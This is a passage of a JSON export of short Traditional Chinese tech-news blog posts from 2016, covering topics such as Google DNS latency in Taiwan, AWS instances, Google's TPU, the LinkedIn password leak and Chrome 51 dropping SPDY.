    "body": "對 8.8.8.8 的 ICMP 數據可以發現今天早上 <a href=\"https://www.google.com/\">Google</a> 台灣機房的 DNS Service 做了改變，整個 latency 大幅降低。(因為 <a href=\"http://www.bitwizard.nl/mtr/\">mtr</a> 發現後面 traceroute 不到以為爆炸了，跑去看 <a href=\"http://oss.oetiker.ch/smokeping/\">Smokeping</a> 發現其實是 Google 改善了架構)\r\n\r\n中華電信北區的機房：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yH03SDY.webp\" /><img src=\"https://i.gslin.com/imgur/yH03SDY.jpg\" alt=\"\" /></picture>\r\n\r\n中華電信南區的機房：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/egGUxfa.webp\" /><img src=\"https://i.gslin.com/imgur/egGUxfa.jpg\" alt=\"\" /></picture>\r\n\r\n台固機房：(內湖)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QxKdOKy.webp\" /><img src=\"https://i.gslin.com/imgur/QxKdOKy.jpg\" alt=\"\" /></picture>\r\n\r\n遠傳機房：(忘記是內湖的哪個機房了...)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ao9f2kU.webp\" /><img src=\"https://i.gslin.com/imgur/ao9f2kU.jpg\" alt=\"\" /></picture>\r\n\r\n遊戲橘子機房：(台北區)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/7d13Ngw.webp\" /><img src=\"https://i.gslin.com/imgur/7d13Ngw.jpg\" alt=\"\" /></picture>",
    "title": "Google DNS 在台灣的 Latency 大幅降低"
  },
  {
    "id": "6572",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 推出了 x1.32xlarge：「<a href=\"https://aws.amazon.com/blogs/aws/x1-instances-for-ec2-ready-for-your-memory-intensive-workloads/\">X1 Instances for EC2 – Ready for Your Memory-Intensive Workloads</a>」。\r\n\r\n看這精美的規格：\r\n\r\n<blockquote>Processor: 4 x Intel™ Xeon E7 8880 v3 (Haswell) running at 2.3 GHz – 64 cores / 128 vCPUs.\r\nMemory: 1,952 GiB with Single Device Data Correction (SDDC+1).\r\nInstance Storage: 2 x 1,920 GB SSD.</blockquote>\r\n\r\n不過需要申請才能用，目前也只有其中幾區有提供：\r\n\r\n<blockquote>If you are ready to start using the X1 instances in the US East (Northern Virginia), US West (Oregon), Europe (Ireland), Europe (Frankfurt), Asia Pacific (Tokyo), Asia Pacific (Singapore), or Asia Pacific (Sydney) Regions, please request access and we’ll get you going as soon as possible.</blockquote>\r\n\r\n這樣以後就不能說「用 C4 就對了」...\r\n\r\n<img src=\"https://i.gslin.com/imgur/jjazui0.jpg\" alt=\"\" />",
    "title": "AWS 最新的 x1.32xlarge..."
  },
  {
    "id": "6574",
    "body": "在 <a href=\"http://www.wsj.com/\">Wall Street Journal</a> 上看到 <a href=\"https://maps.google.com/\">Google 地圖</a>在南韓的法規限制上有許多被改弱的地方，所以試著改變法律規範：「<a href=\"http://www.wsj.com/articles/google-challenges-south-korea-over-mapping-restrictions-1463478584\">Google Challenges South Korea Over Mapping Restrictions</a>」。\r\n\r\n舉幾張 WSJ 整理出來的圖就很明顯：\r\n\r\n<img src=\"https://i.gslin.com/imgur/4Dla1Qo.jpg\" alt=\"\" />\r\n\r\n甚至比中國版的還差：(不過怎麼測的 XDDD)\r\n\r\n<img src=\"https://i.gslin.com/imgur/AR1urcc.jpg\" alt=\"\" />",
    "title": "Google 地圖在南韓的法規限制"
  },
  {
    "id": "6575",
    "body": "<a href=\"https://www.amazon.com/\">Amazon</a> 打算推出自有品牌產品：「<a href=\"http://www.wsj.com/articles/amazon-to-expand-private-label-offeringsfrom-food-to-diapers-1463346316\">Amazon to Expand Private-Label Offerings—From Food to Diapers</a>」，所以之後會看到 Amazon 牌子的飲料、食物等等的東西：\r\n\r\n<blockquote>Amazon.com Inc. in the coming weeks is set to roll out new lines of private-label brands that will include its first broad push into perishable foods, according to people familiar with the matter.\r\n\r\nThe new brands with names like Happy Belly, Wickedly Prime and Mama Bear will include nuts, spices, tea, coffee, baby food and vitamins, as well as household items such as diapers and laundry detergents, these people said.</blockquote>\r\n\r\n接下來應該會是大量出現在競爭對手的產品頁面上？完全可以從台灣的超商想像到後續會怎麼做...",
    "title": "Amazon 推出自有品牌產品..."
  },
  {
    "id": "6576",
    "body": "<a href=\"https://www.google.com/\">Google</a> 今天公佈的資料中說明了 <a href=\"https://en.wikipedia.org/wiki/AlphaGo\">AlphaGo</a> 不是用一般常見的 GPU 加速運算：「<a href=\"https://cloudplatform.googleblog.com/2016/05/Google-supercharges-machine-learning-tasks-with-custom-chip.html\">Google supercharges machine learning tasks with TPU custom chip</a>」。\r\n\r\n這是特別為 <a href=\"https://www.tensorflow.org/\">TensorFlow</a> 製作的 ASIC：\r\n\r\n<blockquote>The result is called a Tensor Processing Unit (TPU), a custom ASIC we built specifically for machine learning — and tailored for TensorFlow.</blockquote>\r\n\r\n<img src=\"https://i.gslin.com/imgur/NNm6ImG.jpg\" alt=\"\" />\r\n\r\n而 AlphaGo 用的版本是 TPU 版：\r\n\r\n<blockquote>AlphaGo was powered by TPUs in the matches against Go world champion, Lee Sedol, enabling it to \"think\" much faster and look farther ahead between moves.</blockquote>\r\n\r\n放 AlphaGo 的機櫃長這樣：\r\n\r\n<img src=\"https://i.gslin.com/imgur/adWeumd.jpg\" alt=\"\" />\r\n\r\n通常 ASIC 特製的版本會比 FPGA 或是 GPU 快上許多，這代表目前這些沒有大公司撐腰的圍棋軟體要跟 AlphaGo 拼，除非演算法上有重大的突破，不然就得用更大量的設備跟他換...",
    "title": "AlphaGo 不是使用 GPU 加速..."
  },
  {
    "id": "6577",
    "body": "<a href=\"https://www.vmware.com/\">VMware</a> 宣佈 Windows 上用 C# 寫的 vSphere Client 退役，發表 HTML5 版本：「<a href=\"https://blogs.vmware.com/vsphere/2016/05/goodbye-vsphere-client-for-windows-c-hello-html5.html\">Goodbye vSphere Client for Windows (C#) – Hello HTML5</a>」，畫面長這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZNK11TI.webp\" /><img src=\"https://i.gslin.com/imgur/ZNK11TI.jpg\" alt=\"\" /></picture>\r\n\r\n總算是推出計畫換用 HTML5 了，之前 Web 版用 Flash 慢到炸...",
    "title": "VMware 宣佈 Windows 上的 vSphere Client 退役"
  },
  {
    "id": "6578",
    "body": "在「<a href=\"http://www.mercurynews.com/drive/ci_29905115/\">Google patent: Glue would stick pedestrian to self-driving car after collision</a>」這邊看到因為自動駕駛車的發明才有可能做到的專利。\r\n\r\n一般的情況下，在汽車撞到行人後，駕駛會急忙停下來，而可能會導致後方車輛的追撞，而且可能會導致行人直接飛出去造成更多的傷害。這個專利規劃在車輛前端使用特殊的黏性膠，再透過減速讓行人黏在上面停下來：\r\n\r\n<blockquote>The front region of the vehicle may be coated with a specialized adhesive that adheres to a pedestrian, and thus holds the pedestrian on the vehicle in the unfortunate event that the front of the vehicle comes into contact with the pedestrian,</blockquote>\r\n\r\n<blockquote>The adhesion of the pedestrian to the vehicle may prevent the pedestrian from bouncing off.</blockquote>\r\n\r\n專利的示意圖：\r\n\r\n<img src=\"https://i.gslin.com/imgur/bptYbqh.jpg\" alt=\"\" />",
    "title": "Google 自動駕駛車保護行人而申請的專利"
  },
  {
    "id": "6579",
    "body": "在「<a href=\"https://motherboard.vice.com/read/another-day-another-hack-117-million-linkedin-emails-and-password\">Another Day, Another Hack: 117 Million LinkedIn Emails And Passwords</a>」這邊看到 <a href=\"https://www.linkedin.com/\">LinkedIn</a> 在 2012 年的帳號密碼外洩情況比想像中嚴重許多，當時大家認為只有 650 萬筆資料洩漏，但實際上在 2016 年的現在被確認有 1.17 億筆。\r\n\r\n官方也確認 2016 的這份洩漏是正確的，兩份公告在：\r\n\r\n<ul>\r\n\t<li><a href=\"https://blog.linkedin.com/2012/06/06/linkedin-member-passwords-compromised\">An Update on LinkedIn Member Passwords Compromised</a> (2012)</li>\r\n\t<li><a href=\"https://blog.linkedin.com/2016/05/18/protecting-our-members\">Protecting Our Members</a> (2016)</li>\r\n</ul>\r\n\r\n很多人都收到 password reset 信件了...",
    "title": "LinkedIn 在 2012 年的密碼外洩比想像中嚴重，超過一億筆帳號密碼洩漏"
  },
  {
    "id": "6582",
    "body": "在 <a href=\"http://www.bloomberg.com/\">Bloomberg</a> 上看到「<a href=\"http://www.bloomberg.com/news/articles/2016-05-19/china-seen-faking-488-million-internet-posts-to-divert-criticism\">China Fakes 488 Million Social Media Posts a Year: Study</a>」這篇在討論中國五毛黨在網路上洗言論的數字。原始論文在「<a href=\"http://gking.harvard.edu/files/gking/files/50c.pdf\">How the Chinese Government Fabricates Social Media Posts for Strategic Distraction, not Engaged Argument</a>」這邊。\r\n\r\n這篇論文估算大約有 200 萬人產生了 4.88 億的評論：\r\n\r\n<blockquote>The Chinese government has long been suspected of hiring as many as 2,000,000 people to surreptitiously insert huge numbers of pseudonymous and other deceptivewritings into the stream of real social media posts,</blockquote>\r\n\r\n<blockquote>We estimate that the government fabricates and posts about 488 million social media comments a year.</blockquote>\r\n\r\n這個估算頗有趣的... XD",
    "title": "估算五毛黨所發表的評論數量"
  },
  {
    "id": "6583",
    "body": "<a href=\"http://www.theverge.com/\">The Verge</a> 的「<a href=\"http://www.theverge.com/2016/5/18/11692228/google-facebook-web-tracking-survey-advertising\">Google and Facebook still dominate tracking on the web</a>」這篇文章題到了「<a href=\"https://webtransparency.cs.princeton.edu/webcensus/\">Online tracking: A 1-million-site measurement and analysis</a>」這個分析報告。\r\n\r\n現在有很多會 track 使用者行為的 javascript，或是 free cdn 服務，而報告的作者想要知道「哪個公司收集到最多最完整的資料」。\r\n\r\n不過 The Verge 給的標題很奇怪，因為 <a href=\"https://www.google.com/\">Google</a> 能追蹤的量遠遠超越 <a href=\"https://www.facebook.com/\">Facebook</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dQSVt2r.webp\" /><img src=\"https://i.gslin.com/imgur/dQSVt2r.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://www.google.com/analytics/\">Google Analytics</a> 第一名不怎麼意外，<a href=\"https://www.doubleclickbygoogle.com/\">DoubleClick</a> 是網路上最大的廣告服務也不意外... 前五名都是 Google 的服務，後面還有一堆也都還是 Google 的服務。",
    "title": "Google 對於行為分析具有壓倒性的資料"
  },
  {
    "id": "6584",
    "body": "在「<a href=\"http://googlesystem.blogspot.com/2016/05/google-works-better-with-chrome.html\">Google Works Better With Chrome</a>」這邊看到 <a href=\"https://www.google.com/\">Google</a> 開始用更激烈的方式推銷自家的 <a href=\"https://www.google.com/chrome\">Google Chrome</a>，使用非 Google Chrome 的人在 Google 搜尋的首頁會有機率出現這樣的推銷文案：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/1bI77y9.webp\" /><img src=\"https://i.gslin.com/imgur/1bI77y9.jpg\" alt=\"\" /></picture>\r\n\r\n這則 <a href=\"https://twitter.com/\">Twitter</a> 上的發言講的頗不錯的：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">“Google works better with Chrome.”<br><br>Microsoft was sued for less than that.<br><br>(I’m too old for this shit.) <a href=\"https://t.co/IL7JLQiK7o\">pic.twitter.com/IL7JLQiK7o</a></p>&mdash; F. Nonnenmacher (@ubiquitic) <a href=\"https://twitter.com/ubiquitic/status/728833195714609153\">May 7, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>",
    "title": "Google 開始利用市場優勢推銷自家的瀏覽器"
  },
  {
    "id": "6585",
    "body": "<a href=\"https://mail.google.com/\">Gmail</a> 的 SMTP 決定在近期內拔掉 SSLv3 與 RC4 了：「<a href=\"http://googleappsupdates.blogspot.com/2016/05/disabling-support-for-sslv3-and-rc4-for.html\">Disabling support for SSLv3 and RC4 for Gmail SMTP in 30 days</a>」。\r\n\r\nGmail 的 SMTP 應該是 <a href=\"https://www.google.com/\">Google</a> 少數還支援 SSLv3 與 RC4 的服務？總算是要拔了...",
    "title": "Gmail 的 SMTP 將拔掉對 SSLv3 與 RC4 的支援"
  },
  {
    "id": "6586",
    "body": "以往 <a href=\"https://github.com/\">GitHub</a> 在個人頁面上的 contribution 只會計算 public repository，現在則可以設定將 private repository 也統計進去：「<a href=\"https://github.com/blog/2173-more-contributions-on-your-profile\">More contributions on your profile</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/1ckYO0d.webp\" /><img src=\"https://i.gslin.com/imgur/1ckYO0d.jpg\" alt=\"\" /></picture>\r\n\r\nprivate repository 的部份只會顯示數量，不會公開任何細節，像是我用 incognito mode (無痕模式) 可以看到在沒有登入時的資訊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/J94bixt.webp\" /><img src=\"https://i.gslin.com/imgur/J94bixt.jpg\" alt=\"\" /></picture>\r\n\r\n但如果是登入後就會有詳細資料：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Zp9U9ID.webp\" /><img src=\"https://i.gslin.com/imgur/Zp9U9ID.jpg\" alt=\"\" /></picture>",
    "title": "GitHub 提供新的 contribution (小綠點) 計算方式"
  },
  {
    "id": "6587",
    "body": "由於 app 排序受到評價影響，現在幾乎都把這塊當作是重點。\r\n\r\n<a href=\"https://basecamp.com/\">Basecamp</a> 的人寫了一篇他們怎麼做的方法：「<a href=\"https://m.signalvnoise.com/getting-from-%EF%B8%8F-%EF%B8%8F-to-%EF%B8%8F-%EF%B8%8F-%EF%B8%8F-%EF%B8%8F-%EF%B8%8F-c65cc3bb7cb1\">Getting from ⭐️⭐️ to ⭐️⭐️⭐️⭐️⭐️</a>」。\r\n\r\n傳統的作法類似這樣，使用者沒有太多動力，而且看到時頗煩人：(因為每個 app 幾乎都這樣做)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/BlgGYXA.webp\" /><img src=\"https://i.gslin.com/imgur/BlgGYXA.jpg\" alt=\"\" /></picture>\r\n\r\n而 Basecamp 決定告訴使用者新版本有哪些新功能，然後邀請他評價：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6SAmF6o.webp\" /><img src=\"https://i.gslin.com/imgur/6SAmF6o.jpg\" alt=\"\" /></picture>\r\n\r\n這成功拉高了評價分數，並且也推廣新功能。",
    "title": "Basecamp 對「請使用者評價五顆星」的作法"
  },
  {
    "id": "6588",
    "body": "最近最歡樂的 <a href=\"https://en.wikipedia.org/wiki/Digital_Millennium_Copyright_Act\">DMCA</a> Takedown 消息，<a href=\"http://www.fox.com/\">Fox</a> 在 <a href=\"http://www.fox.com/family-guy\">Family Guy</a> (蓋酷家庭) 的劇情裡引用了一段從 <a href=\"https://www.youtube.com/\">YouTube</a> 上的遊戲影片 (<a href=\"https://www.youtube.com/watch?v=Ed59WhzXlkk\">Double Dribble - NES - Automatic Shot</a>)，然後節目播出後 Fox 發 DMCA Takedown 下架掉這個影片：「<a href=\"https://torrentfreak.com/fox-stole-a-game-clip-used-it-in-family-guy-dmcad-the-original-160520/\">Fox 'Stole' a Game Clip, Used it in Family Guy &amp; DMCA'd the Original</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dOcMi41.webp\" /><img src=\"https://i.gslin.com/imgur/dOcMi41.jpg\" alt=\"\" /></picture>\r\n\r\nFamily Guy 那段片段在「<a href=\"https://www.youtube.com/watch?v=Bm84_r5s7qA\">Family Guy Double Dribble</a>」這邊可以看到。\r\n\r\n只要在沒有嚴格的懲罰機制 (懲罰「偽造版權擁有人」的行為)，這種大公司侵犯小市民權利的現象只會愈來愈嚴重...",
    "title": "最近最歡樂 (?) 的 DMCA Takedown..."
  },
  {
    "id": "6589",
    "body": "很久之前被 <a href=\"https://twitter.com/ccn\">ccn</a> 介紹 <a href=\"https://pushover.net/\">Pushover</a>，可以很簡單的透過 API 送推播，這樣就可以用來代替簡訊發給自己。\r\n\r\n第一次申請有七天的試用期可以用，試用期滿後每個 device 的費用是一次性的 USD$4.99，在 <a href=\"https://www.apple.com/ios/\">iOS</a> 裝置上可以透過 <a href=\"https://developer.apple.com/in-app-purchase/\">IAP</a> (<a href=\"https://www.apple.com/\">Apple</a>) 購買，<a href=\"https://www.android.com/\">Android</a> 裝置則是透過 <a href=\"https://developer.android.com/google/play/billing/\">IAB</a> 購買。\r\n\r\n官網上可以看到 API 設計很簡單，user token + application token 用 POST 帶進去就可以發出去了。\r\n\r\n就算不透過 API 寫，也可以透過 <a href=\"https://ifttt.com/\">IFTTT</a> 串接起來，像是我設定<a href=\"https://zh.wikipedia.org/\">中文維基百科</a>上的條目「<a href=\"https://zh.wikipedia.org/wiki/Kalafina\">Kalafina</a>」，有修改就通知我：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WOFVaBm.webp\" /><img src=\"https://i.gslin.com/imgur/WOFVaBm.jpg\" alt=\"\" /></picture>",
    "title": "用 Pushover 當簡訊..."
  },
  {
    "id": "6590",
    "body": "兩篇文章與一則 tweet 剛好可以一起看。\r\n\r\n兩篇文章分別是「<a href=\"https://motherboard.vice.com/read/dont-use-google-allo\">Don't Use Allo</a>」講 <a href=\"https://en.wikipedia.org/wiki/Allo_(app)\">Google Allo</a> 預設沒有加密的問題，與「<a href=\"https://medium.com/@tristanharris/how-technology-hijacks-peoples-minds-from-a-magician-and-google-s-design-ethicist-56d62ef5edf3\">How Technology Hijacks People’s Minds — from a Magician and Google’s Design Ethicist</a>」講如何設計產品來改變人的行為。\r\n\r\n在市場上的領先者 <a href=\"https://www.whatsapp.com/\">Whatsapp</a> 已經啟用預設 end-to-end encryption 後，Google Allo 之所以不是預設加密的原因，是基於這樣的設計方法，因為 <a href=\"https://www.google.com/\">Google</a> 並不想要加密：\r\n\r\n<blockquote>Businesses naturally want to make the choices they want you to make easier, and the choices they don’t want you to make harder. Magicians do the same thing. You make it easier for a spectator to pick the thing you want them to pick, and harder to pick the thing you don’t.</blockquote>\r\n\r\n而這則 tweet 剛好解釋了這個方法背後幾個可能的利害關係，大公司受到政府單位的施壓而妥協：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">The FBI stopped asking for backdoors a while back. Now they are just asking firms to not encrypt by default. The FBI will like Google Allo.</p>&mdash; Christopher Soghoian (@csoghoian) <a href=\"https://twitter.com/csoghoian/status/732996175909920770\">May 18, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n剛剛好都是最近的文章，整起來剛剛好...",
    "title": "Google 刻意讓 Allo 不安全的方法"
  },
  {
    "id": "6591",
    "body": "在「<a href=\"https://blog.bracelab.com/achieving-perfect-ssl-labs-score-with-go\">Achieving a Perfect SSL Labs Score with Go</a>」這邊提到要如何在 Go 上面達到 <a href=\"https://www.ssllabs.com/\">SSL Labs</a> 上 <a href=\"https://www.ssllabs.com/ssltest/analyze.html\">SSL Server Test</a> 的 Perfect Score (完全滿分的 A+)，但其實裡面大多數的東西都應該適用於其他地方。\r\n\r\n其中 Cipher Strength 這邊讓人非常意外的是，只有在關閉 HTTP/2 的情況下才有可能達到 100%，因為 HTTP/2 規定強制要支援 <code>TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256</code>，而這是 128bits cipher，會導致無法達到 100%：\r\n\r\n<blockquote>No HTTP/2 for you! - HTTP/2 was enabled by default in go 1.6, however HTTP/2 mandates the support of the cipher suite TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256. As this is a 128bit cipher, it needs to be removed. The only way to achieve a perfect score now is to disable HTTP/2.</blockquote>\r\n\r\n這被點出來後不知道會有什麼改變... (無論是 HTTP/2 或是 SSL Labs)",
    "title": "在 SSL Labs 上拿到 Perfect Score (完全滿分的 A+)"
  },
  {
    "id": "6592",
    "body": "剛剛在辦公室裡跟 <a href=\"https://twitter.com/gaod\">Gaod</a> &amp; <a href=\"https://twitter.com/rian0l\">Rianol</a> 抱怨 <a href=\"https://aws.amazon.com/certificate-manager/\">AWS Certificate Manager</a> (AWS ACM) 只有 us-east-1 與 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 可以用，結果 Gaod 說已經開放全區了... (然後我跟 Rianol 一臉茫然)\r\n\r\n在 <a href=\"https://aws.amazon.com/certificate-manager/faqs/\">AWS Certificate Manager FAQs</a> 這邊這樣寫：\r\n\r\n<blockquote>Q: In what Regions is ACM available?\r\n\r\nPlease visit the AWS Global Infrastructure pages to see the current Region availability for AWS services. Certificates provisioned in the US East (Northern Virginia) Region, and associated with an Amazon CloudFront distribution, are distributed to the geographic locations configured for your distribution.</blockquote>\r\n\r\n在官方的 FAQ 上面寫只有 us-east-1 以及 CloudFront。但在 User Guide「<a href=\"https://docs.aws.amazon.com/acm/latest/userguide/acm-regions.html\">Supported Regions - AWS Certificate Manager</a>」這邊則是寫上個禮拜的 2016/05/16 開放：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vZXWTix.webp\" /><img src=\"https://i.gslin.com/imgur/vZXWTix.jpg\" alt=\"\" /></picture>\r\n\r\n大概是負責的人跑去休假了，所以 User Guide 改完後還沒把 FAQ 改好請 <a href=\"http://jeff-barr.com/\">Jeff Barr</a> 發文章公告宣佈吧，感覺是個資安上可以宣傳的事情？\r\n\r\n這樣之後在 <a href=\"https://aws.amazon.com/\">AWS</a> 上就不用自己搞 SSL certificate 再 import 進去了，<a href=\"https://aws.amazon.com/elasticloadbalancing/\">ELB</a> 可以直接吃 ACM 產生的 SSL certificate。\r\n\r\n<strong>Update</strong>：其實官方有發稿，在「<a href=\"https://aws.amazon.com/about-aws/whats-new/2016/05/aws-certificate-manager-now-available-in-more-regions/\">AWS Certificate Manager now available in more regions</a>」這邊，不過 FAQ 還是舊的 XD",
    "title": "AWS Certificate Manager (ACM) 開放全區"
  },
  {
    "id": "6594",
    "body": "好像跟當初外面傳言的不太一樣... Anyway，<a href=\"https://twitter.com/\">Twitter</a> 宣佈放寬 140 字限制：「<a href=\"https://blog.twitter.com/express-even-more-in-140-characters\">Coming soon: express even more in 140 characters</a>」。\r\n\r\n這個限制的解除一直都有傳言，不過最後出來的結果跟預期的好像不太一樣，主要是三種用法將不計算在 140 字內。分別是 reply 時的 @username、貼圖貼影片時的 url、引用 tweet 時被引用的文字。\r\n\r\n所以並不是完全放寬 140 字限制，只是把某些計算方式放寬...",
    "title": "Twitter 宣佈要放寬 140 字限制..."
  },
  {
    "id": "6595",
    "body": "<a href=\"https://cloud.google.com/\">Google Cloud Platform</a> 宣佈加開美西與日本：「<a href=\"https://cloudplatform.googleblog.com/2016/03/announcing-two-new-Cloud-Platform-Regions-and-10-more-to-come_22.html\">Google Cloud Platform adds two new regions, 10 more to come</a>」。\r\n\r\n所以 <a href=\"https://www.google.com/\">Google</a> 在這塊的經濟規模夠撐了？還是先投資？純粹猜測還蠻有可能是後者，因為新宣佈的這兩個機房的位置都比以前機房好：美西對於矽谷的幫助看起來會不少 (之前離矽谷最近的機房在美國中部)，而日本則對於整個亞洲區還是極重要，因為一般 ISP 都是在日本、香港與新加坡交換，台灣一般來說需要調 routing 才能配合。\r\n\r\n這看起來比較有得跟 <a href=\"https://aws.amazon.com/\">AWS</a> 打了？\r\n\r\nGoogle 也放話到 2017 年會加更多機房：\r\n\r\n<blockquote>These are the first two of more than 10 additional GCP regions we'll be adding to our network through 2017.</blockquote>",
    "title": "Google Cloud Platform 宣佈加開美西與日本"
  },
  {
    "id": "6596",
    "body": "在「<a href=\"https://society6.com/product/http-status-codes_print\">HTTP Status Codes</a>」這邊看到精美的 HTTP Reponse Code Cheatsheet。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EF3Fyff.webp\" /><img src=\"https://i.gslin.com/imgur/EF3Fyff.jpg\" alt=\"\" /></picture>\r\n\r\n設計 API 以及每次都忘記 301/302 的差異很好用... o_o",
    "title": "漂亮的 HTTP Response Code Cheatsheet"
  },
  {
    "id": "6597",
    "body": "<a href=\"https://www.google.com/chrome\">Google Chrome</a> 剛剛出了 51 版：「<a href=\"http://googlechromereleases.blogspot.com/2016/05/stable-channel-update_25.html\">Stable Channel Update</a>」。\r\n\r\n除了界面的改變外，對效能最主要的改變就是 <a href=\"https://en.wikipedia.org/wiki/SPDY\">SPDY</a> 被拔掉，<a href=\"https://en.wikipedia.org/wiki/HTTP/2\">HTTP/2</a> 的 NPN 支援也被拔掉：「<a href=\"https://blog.chromium.org/2016/02/transitioning-from-spdy-to-http2.html\">Transitioning from SPDY to HTTP/2</a>」：\r\n\r\n<blockquote>To better align with Chrome's release cycle, SPDY and NPN support will be removed with the release of Chrome 51.</blockquote>\r\n\r\n又有一波 migrate 功夫要做了...",
    "title": "Google Chrome 51 出版，SPDY 被拔掉，HTTP/2 只支援 ALPN"
  },
  {
    "id": "6598",
    "body": "在「<a href=\"https://threatpost.com/wekby-apt-gang-using-dns-tunneling-for-command-and-control/118303/\">Wekby APT Gang Using DNS Tunneling for Command and Control</a>」這邊看到用 DNS 做為控制的後門系統，原報導是「<a href=\"http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/\">New Wekby Attacks Use DNS Requests As Command and Control Mechanism</a>」。\r\n\r\n用 DNS 控制的穿透性比 HTTPS 高不少，被拿來做為 <a href=\"https://en.wikipedia.org/wiki/Advanced_persistent_threat\">APT</a> 類的攻擊威脅高不少...",
    "title": "用 DNS 控制的後門"
  },
  {
    "id": "6600",
    "body": "各類的車機裝置 (像是嵌入式的 tablet) 在 2016Q1 時成為美國行動電信新客戶的來源，佔了 1/3 的量：「<a href=\"http://www.recode.net/2016/5/26/11785930/connected-cars-cellular-growth\">A third of new cellular customers last quarter were cars</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/YaCOV0T.jpg\" alt=\"\" />\r\n\r\n會有愈來愈多裝置連網...",
    "title": "車機成為行動電信新客戶的來源"
  },
  {
    "id": "6601",
    "body": "<a href=\"https://www.google.com/\">Google</a> 在 <a href=\"https://source.android.com/\">AOSP</a> 裡加入對 <a href=\"https://www.raspberrypi.org/products/raspberry-pi-3-model-b/\">Raspberry Pi 3</a> 的支援：「<a href=\"http://arstechnica.com/gadgets/2016/05/google-to-bring-official-android-support-to-the-raspberry-pi-3/\">Google to bring official Android support to the Raspberry Pi 3</a>」，repository 可以在「<a href=\"https://android.googlesource.com/device/pifoundation/rpi3/\">device/pifoundation/rpi3/</a>」這邊看到，目前是空的，不過這讓大家就有很多想像了：\r\n\r\n<blockquote>For now, the Pi 3 device tree is empty with only the comment \"initial empty repository\" accompanying it. The repository should soon start to fill with code, though.</blockquote>\r\n\r\n感覺對 <a href=\"https://www.raspberrypi.org/\">Raspberry Pi</a> 注入了不少活力... (以及估值 XDDD)",
    "title": "Google 將 Raspberry Pi 3 加到 AOSP 裡"
  },
  {
    "id": "6602",
    "body": "在「<a href=\"https://robots.thoughtbot.com/you-don-t-need-javascript-for-that\">You Don't Need JavaScript for That!</a>」這邊看到好多讓人懷念的技巧，用純 css 做到很多動態效果 (現在 browser 對 css 的支援比以前好很多，這些技巧應該都沒問題了)：\r\n\r\n<ul>\r\n\t<li>Tooltips</li>\r\n\t<li>Dropdown menu</li>\r\n\t<li>Toggle Visibility</li>\r\n</ul>\r\n\r\n以前前端的人會講 accessibility，不過現在好像沒 javascript 就沒人權了...",
    "title": "在這個純 CSS 技巧被遺忘的年代，許多可以用 CSS 就做到的效果..."
  },
  {
    "id": "6603",
    "body": "<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 開了印度機房：「<a href=\"https://www.digitalocean.com/company/blog/introducing-our-bangalore-region-blr1/\">Introducing Our Bangalore Region: BLR1</a>」。\r\n\r\n在 Bangalore (邦加羅爾) 建立機房... 愈來愈多公司在印度提供服務 :o",
    "title": "DigitalOcean 開印度機房..."
  },
  {
    "id": "6604",
    "body": "傳統的作法 (自己擁有機房時) 就是在兩個機房中間建立 site-to-site VPN (通常是 IPsec)，然後再用 <a href=\"https://dev.mysql.com/\">MySQL</a> 的 replication 接起來，而現在 <a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> 直接在界面上支援這件事情，可以在網頁上點一點開起來：「<a href=\"https://aws.amazon.com/blogs/aws/new-cross-region-read-replicas-for-amazon-aurora/\">New – Cross-Region Read Replicas for Amazon Aurora</a>」。\r\n\r\n不過好像沒講到跨區的 VPC 對接設定問題？所以是透過他們自己的 network 接起來？這樣的話流量費用要怎麼算？",
    "title": "Amazon Aurora 支援跨區域 Read Replica"
  },
  {
    "id": "6605",
